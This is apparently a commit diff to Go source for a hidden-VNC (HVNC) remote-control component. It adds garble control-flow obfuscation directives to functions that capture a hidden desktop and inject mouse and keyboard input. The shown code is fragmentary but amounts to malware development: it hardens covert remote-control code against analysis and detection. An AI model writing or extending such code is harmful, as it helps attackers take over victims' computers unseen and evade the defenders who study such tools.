add control flow obf for garble
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@@ -805,6 +805,7 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
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}
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func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
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//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
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captureMu.Lock()
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defer captureMu.Unlock()
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@@ -995,6 +996,7 @@ func isExplorerRunningToolhelp() bool {
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}
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func hvncMouseMoveOnThread(display int, x, y int32) error {
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//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
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bounds, _ := hvncResolveCaptureBounds(display)
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if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
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hvncInputMu.Lock()
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@@ -1059,6 +1061,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
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}
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func hvncMouseButtonOnThread(button int, down bool) error {
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//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
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pt := currentHVNCCursor()
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if button == 0 && !down {
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@@ -1169,6 +1172,7 @@ func hvncMouseButtonOnThread(button int, down bool) error {
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}
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func hvncKeyOnThread(vk uint16, down bool) error {
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//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
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pt := currentHVNCCursor()
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hwnd := windowFromPoint(pt)
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if hwnd == 0 {
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